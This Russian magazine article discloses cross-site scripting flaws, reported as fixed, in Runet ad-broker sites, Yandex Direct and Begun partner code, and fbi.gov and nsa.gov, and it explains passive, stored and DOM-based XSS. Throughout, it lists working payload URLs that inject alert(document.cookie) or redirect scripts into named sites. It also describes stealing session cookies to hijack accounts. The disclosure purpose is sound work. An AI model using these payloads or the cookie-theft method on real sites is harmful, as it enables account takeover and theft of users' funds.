шаманские дела

ЕВГЕНИЙ ДОКУКИН AKA MUSTLIVE

Хакер, номер #075, стр. 058

(MUSTLIVE@WEBSECURITY.COM.UA)

РЕКЛАМА С ПОДВОХОМ

МНОГИЕ ВЕБ-МАСТЕРЫ ЗАДУМЫВАЛИСЬ О ЗАРАБОТКЕ ЗА СЧЕТ РАЗМЕЩЕНИЯ РЕКЛАМЫ НА СВОИХ САЙТАХ. ПОДОБНЫЕ СЕРВИСЫ СУЩЕСТВУЮТ В РУНЕТЕ И ИХ ЧИСЛО ПОСТОЯННО РАСТЕТ. НО В ИНТЕРНЕТ-РЕКЛАМЕ ЕСТЬ СВОИ ПОДВОДНЫЕ КАМНИ

Речь идет о рекламных интернет-брокерах. Это одна из наиболее динамичных категорий в рекламном секторе рунета (помимо баннерных сетей, рекламных агентств и частных рекламных поползновений). Среди форматов, поддерживаемых рекламными брокерами, можно выделить баннерную рекламу (различных размеров, обычно форматов gif и jpg), флеш-рекламу (формат swf) и текстовую (в том числе и контекстную). Оплата, соответственно, за клики, показы и за время размещения. Каждый брокер имеет свои особенности и свои плюсы, предлагая различные услуги для веб-мастеров и рекламодателей. Через брокеров интернет-рекламы ежедневно проходят денежные потоки, и это могут быть весьма солидные суммы.

Подобная ситуация привлекает к рекламным брокерам внимание в том числе и злоумышленников. Проанализируем ситуацию на рынке рекламных интернет-брокеров рунета. В контексте безопасности и, в частности, Cross-Site Scripting уязвимостей.

XSS-уязвимости могут быть использованы с целью захвата учетной записи пользователя, для получения конфиденциальной информации и денег, накопленных на пользовательском аккаунте.

Ниже мы приведем примеры некоторых брокеров, на сайтах которых имели место уязвимости (данный список не полон, и не стоит считать, что у других интернет-брокеров таких проблем не бывает). Все приведенные примеры, исходя из здравого смысла и этических соображений, содержат XSS-уязвимости, о которых сами интернет-брокеры знают и которые уже исправлены. Это сделано в целях безопасности самих брокеров и их участников. Также следует понимать, что мы ратуем за безопасность и надеемся, что примеры помогут всем осознать серьезность ситуации и проверить собственные проекты на аналогичные уязвимости. Использование же примеров XSS-уязвимостей где бы то ни было — на совести (а, следовательно, и ответственности) читателя.

[CLX, www.clx.ru.]

XSS-уязвимости имели место, но администраторы сделали основной упор на совершенствовании системы авторизации, введя дополнительное ограничение времени сессии и привязку сессии к IP-адресу. Это позволило повысить безопасность системы в целом, частично оградив ее от потенциальных XSS. Но 100% защиты такой подход не дает, и периодически приходится отлавливать и исправлять найденные уязвимости.

[PROSPERO, www.prospero.ru / PROCONTEXT, www.procontext.ru / SEOPOINT, www.seopoint.ru.]

Все три проекта принадлежат одним и тем же людям, просто ориентированы на разную целевую аудиторию. К примеру, PROCONTEXT — это контекстная реклама, которая ранее была доступна в самом PROSPERO, но затем ее искусственно выделили в отдельный проект, чтобы развязать руки основному проекту при совершенствовании кода и функциональности.

Уязвимости в этих системах обнаруживались неоднократно, но надо отдать должное оперативности администраторов, которые делали любые проблемы достоянием истории, оперативно внося необходимые изменения. Также они серьезно повысили безопасность, усовершенствовав систему авторизации, введя дополнительные ограничения по времени сессии и привязке сессии к IP-адресу (аналогия с CLX).

Приведем XSS-уязвимость, которая имела место на форумах всех трех проектов (движок один и тот же). Она затаилась в параметре search_words для поиска по форуму:

ЛИСТИНГ

http://www.prospero.ru/forum_search?search=1&search_words=%27%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

http://procontext.ru/forum_search?search=1&search_words=%27%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

http://seopoint.ru/forum_search?search=1&search_words=%27%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

[Mainlink.ru, www.mainlink.ru.]

Пример эксплуатации имевшей место уязвимости:

ЛИСТИНГ

http://mainlink.ru/find/?what=%3Cscript%3Ealert(document.cookie)%3C/script%3E

[Setlinks.ru, www.setlinks.ru.]

Пример эксплуатации имевшей место уязвимости — на странице http://www.setlinks.ru/partner/editpage.html?id=xxxx при отправке POST-запроса (в полях «Разделитель» и «Класс ссылок»):

ЛИСТИНГ

"><script>alert(document.cookie)</script>

[Аdbroker.ru, www.adbroker.ru.]

Пример эксплуатации имевшей место уязвимости:

ЛИСТИНГ

http://adbroker.ru/user_partner.php?action=adv_queries&uarq_order=4%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://adbroker.ru/get_code.php?scid=2484&lid=1&css_class=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

[Аffiliatenetwork, www.affiliatenetwork.ru.]

Пример эксплуатации имевшей место уязвимости:

ЛИСТИНГ

http://www.affiliatenetwork.ru/affiliates_new/viewpaid.php?kol_zap_str=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

[Link.ru, www.link.ru.]

Один из немногих интернет-брокеров, администраторы которого, к сожалению, занимаются безопасностью проекта спустя рукава. В системе достаточно долго существовали рабочие XSS-уязвимости, о которых администрация была оповещена.

Пример эксплуатации этой уязвимости:

ЛИСТИНГ

http://www.link.ru/?sid=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.link.ru/adv.cgi?sid=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.link.ru/reklama.cgi?sid=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.link.ru/siteowner.cgi?sid=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.link.ru/contact.cgi?sid=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.link.ru/stats.cgi?sid=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.link.ru/faq.cgi?sid=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.link.ru/?sid=%27%3E%3Cscript%3Edocument.location%3D'http://websecurity.com.ua'%3C/script%3E

[МетаКонтекст, www.context.meta.ua.]

Пример эксплуатации имевшей место уязвимости:

ЛИСТИНГ

http://context.meta.ua/?mode=phrase&phrase=%3Cscript%3Ealert(document.cookie)%3C/script%3E

[уязвимости в партнерском коде.]

Упомянутые в системах контекстной рекламы (procontext.ru и context.meta.ua) XSS-уязвимости находятся в интерфейсах самих систем. Но возможны еще и атаки на сайты участников данных систем через уязвимости в партнерском коде, - если системы предлагают размещать партнерский код на сайте, особенно в случае интеграции рекламы с локальным поиском на сайте. Речь идет об XSS-уязвимостях в кодах систем ДиректЯндекс и Бегун.

[Бегун, www.begun.ru.]

Хотя уязвимость была в контекстном коде Бегуна, она ставила под вопрос безопасность кода сайтов-партнеров, в данном примере — сайта Рамблера:

ЛИСТИНГ

http://www.rambler.ru/srch?words=%D2%E5%F1%F2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Эта уязвимость относится к типу XSS в DOM и может быть опасна для всех посетителей сайта. Уязвимость, к счастью, исправлена.

[ДиректЯндекс, http://direct.yandex.ru.]

В ДиректЯндексе имела место XSS-уязвимость, причем как собственная (в самой системе), так и уязвимость в коде, который используется сайтами-партнерами (на примере сайта itnews.com.ua):

ЛИСТИНГ

http://itnews.com.ua/s.cgi?page=2'%3Balert(document.cookie)%3Ba='&q=%F2%E5%F1%F2

http://itnews.com.ua/s.cgi?page=2'%3Bdocument.location%3D'http://websecurity.com.ua'%3Ba='&q=%F2%E5%F1%F2

Эта уязвимость так же относится к типу XSS в DOM и может быть использована против всех посетителей сайта. Сейчас все эти уязвимости уже нейтрализованы.

[заключение.]

К сожалению, и сейчас ситуация с уязвимостями XSS на сайтах некоторых интернет-брокеров складывается не лучшим образом. А сидеть на «пороховой бочке» и ждать, когда рванет, — не самый лучший выход. Но с каждой исправленной XSS дырой ситуация улучшается. Поэтому призываем администраторов серьезнее относится к проблеме безопасности и проверить свои проекты, как минимум, на наличие описанных выше уязвимостей.

виды XSS-атак

Cross-Site Scripting (также CSS и XSS) уязвимости в контексте веба (веб-приложения и веб-системы) — уязвимости на сайтах, которые могут привести к выполнении заданного нападающим кода в контексте браузера пользователя, атакованного злоумышленником. Другими словами, это уязвимость в веб-приложениях с некорректно работающими фильтрами входящей информации, которая не проверяется должным образом перед тем, как вернуть результат пользователю.

Среди возможных атак на пользователей рекламных интернет-брокеров с применением XSS можно выделить следующие: пассивный XSS, активный XSS и XSS в DOM. Каждая имеет свои особенности и позволяет злоумышленнику провести атаку на участника системы, вплоть до захвата аккаунта.

[пассивный XSS.]

Самый распространенный вид XSS. Для успешной атаки участник должен быть в системе (и в его кукисах должна храниться информация об авторизации). После этого злоумышленник, подготовив соответствующий рабочий XSS-код для уязвимой страницы, должен каким-то образом заставить пользователя системы исполнить его. Это возможно как путем сообщения жертве (по той же аське) «ссылки» на страницу (останется только убедить пользователя зайти на эту страницу), так и размещения «ссылки» на каком-то сайте (при этом можно спрятать истинный адрес, чтобы пользователь ничего не заподозрил). После того как жертва, ничего не подозревая, попадет в ловушку, срабатывает «злобный» код и нападающий получает кукис жертвы с авторизационной информацией. При этом жертва пропускает все мимо глаз и ушей.

После получения конфиденциальных данных с кукисами участника системы злоумышленник может использовать их для входа в систему рекламного интернет-брокера от его имени с последующим нанесением ущерба как «обворованному» участнику, так и самому интернет-брокеру.

[активный XSS.]

Это менее распространенный вид XSS. Но данная уязвимость опаснее, так как может нанести вред большему количеству участников, и процесс такой атаки более упрощенный по сравнению с пассивным XSS.

Злоумышленник, использовав активную XSS-уязвимость, заносит приготовленный XSS-код в базу данных системы рекламного интернет-брокера. И далее злоумышленнику не нужно морочить себе голову заманиванием жертвы в ловушку, так как она попадается сама, просто зайдя в аккаунт системы и посетив ту страницу, где отображаются данные из БД (вместе с кодом злоумышленника). Получается, жертва самостоятельно отдает свои кукисы, опять же ничего не заметив.

Получив конфиденциальные данные с кукисами участника системы, злоумышленник, как и в первом случае, может использовать их для входа в систему рекламного Интернет-брокера от имени юзера с последующим захватом аккаунта.

[XSS в DOM (DOM Based XSS).]

Отдельный и весьма опасный вид уязвимостей межсайтового скриптинга — стандартные фильтры против классических XSS в этом случае не помогут.

Методика атаки подобна методике в случае пассивного XSS. Точно так же злоумышленник подготавливает злонамеренный код для уязвимой страницы и заманивает в ловушку пользователя системы. После чего получает его кукис и контроль его аккаунта. Принципиальная разница - в особенностях работы XSS в DOM — фильтры, направленные на классические XSS, не помогают (к примеру, фильтрация угловых скобок), и заданный код выполняется на уязвимой странице.

Подобные уязвимости могут встречаться как в коде систем рекламных интернет-брокеров, так и в партнерском коде системы контекстной рекламы.

БЕЗОПАСНОСТЬ СПЕЦСЛУЖБ

XSS-УЯЗВИМОСТИ — ПРОБЛЕМА МИРОВОГО МАСШТАБА, ТАК ЧТО ДЫРКАМИ ГРЕШАТ И САЙТЫ АМЕРИКАНСКИХ СПЕЦСЛУЖБ. В ЧАСТНОСТИ, РЕЧЬ ИДЕТ О САЙТАХ ФБР (FBI) И АГЕНТСТВА НАЦИОНАЛЬНОЙ БЕЗОПАСНОСТИ США (NSA).

ЛИСТИНГ

подпись: XSS на www.fbi.gov

http://www.fbi.gov/cgi-bin/outside.cgi?javascript:alert('XSS')

http://www.fbi.gov/cgi-bin/outside.cgi?javascript:alert(document.cookie)

http://www.fbi.gov/cgi-bin/outside.cgi?http://websecurity.com.ua

ЛИСТИНГ

подпись: XSS на www.nsa.gov

http://www.nsa.gov/snac/downloads_db.cfm?MenuID=%22%3E%3Cimg%20src=javascript:alert(%22XSS%22)%3E

alert(«XSS»), только IE

http://www.nsa.gov/snac/downloads_db.cfm?MenuID=%22%3E%3Cimg%20src=javascript:alert(document.cookie)%3E

alert(document.cookie), только IE

http://www.nsa.gov/snac/downloads_db.cfm?MenuID=%22%3E%3Cimg%20src=javascript:document.location=%22http://websecurity.com.ua%22%3E

http://en.wikipedia.org/wiki/Cross_site_scripting

cross-site scripting

www.securitylab.ru/analytics/275087.php

межсайтовый скриптинг через DOM

http://websecurity.com.ua/127/

хакинг сайта через уязвимости в коде внешних систем

http://websecurity.com.ua/9/

журналы BugsWeek

http://websecurity.com.ua/90/

уязвимость на mainlink.ru

http://websecurity.com.ua/109/

уязвимость на mainlink.ru

http://websecurity.com.ua/137/

уязвимость на adbroker.ru

http://websecurity.com.ua/250/

уязвимость на adbroker.ru

http://websecurity.com.ua/323/

уязвимость на www.link.ru

http://websecurity.com.ua/260/

уязвимость на www.link.ru

http://websecurity.com.ua/17/

уязвимость на Рамблере

http://websecurity.com.ua/398/

уязвимости в ДиректЯндексе

http://websecurity.com.ua/397/

уязвимости на itnews.com.ua

http://websecurity.com.ua/416/

уязвимость на www.fbi.gov

http://websecurity.com.ua/118/

уязвимость на www.nsa.gov

РЕКЛАМНЫЕ ИНТЕРНЕТ-БРОКЕРЫ ПРЕДСТАВЛЯЮТ ЛАКОМЫЙ КУСОК ДЛЯ ЗЛОУМЫШЛЕННИКОВ, ПОТОМУ ЧТО ЧЕРЕЗ НИХ ПРОКАЧИВАЮТСЯ ДОСТАТОЧНО МОЩНЫЕ ДЕНЕЖНЫЕ ПОТОКИ